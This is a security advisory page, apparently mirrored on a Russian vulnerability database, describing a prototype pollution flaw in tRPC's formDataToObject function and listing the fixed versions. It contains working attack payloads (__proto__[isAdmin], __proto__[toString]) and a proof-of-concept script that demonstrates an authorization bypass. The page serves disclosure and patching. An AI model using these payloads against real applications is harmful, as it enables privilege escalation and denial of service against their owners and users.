Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-43p4-m455-4f4j

Опубликовано: 16 дек. 2025
Источник: github
Github: Прошло ревью
CVSS4: 8.5

Описание

tRPC has possible prototype pollution in experimental_nextAppDirCaller

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; }

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call }

An attacker can craft FormData with malicious field names:

const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin // → "true" {}.role // → "superadmin"

Proof of Concept

# Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc # Step 2: Initialize npm npm init -y # Step 3: Install vulnerable tRPC npm install @trpc/server@11.7.2 # Step 4: Create the test file

Test.js

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); }

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern if (user.isAdmin) { // Grant admin access }

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail

Пакеты

Наименование

@trpc/server

npm
Затронутые версииВерсия исправления

>= 10.27.0, < 10.45.3

10.45.3

Наименование

@trpc/server

npm
Затронутые версииВерсия исправления

>= 11.0.0, < 11.8.0

11.8.0

EPSS

Процентиль: 20%
0.00065
Низкий

8.5 High

CVSS4

Дефекты

CWE-1321

Связанные уязвимости

nvd
около 2 месяцев назад

tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.

EPSS

Процентиль: 20%
0.00065
Низкий

8.5 High

CVSS4

Дефекты

CWE-1321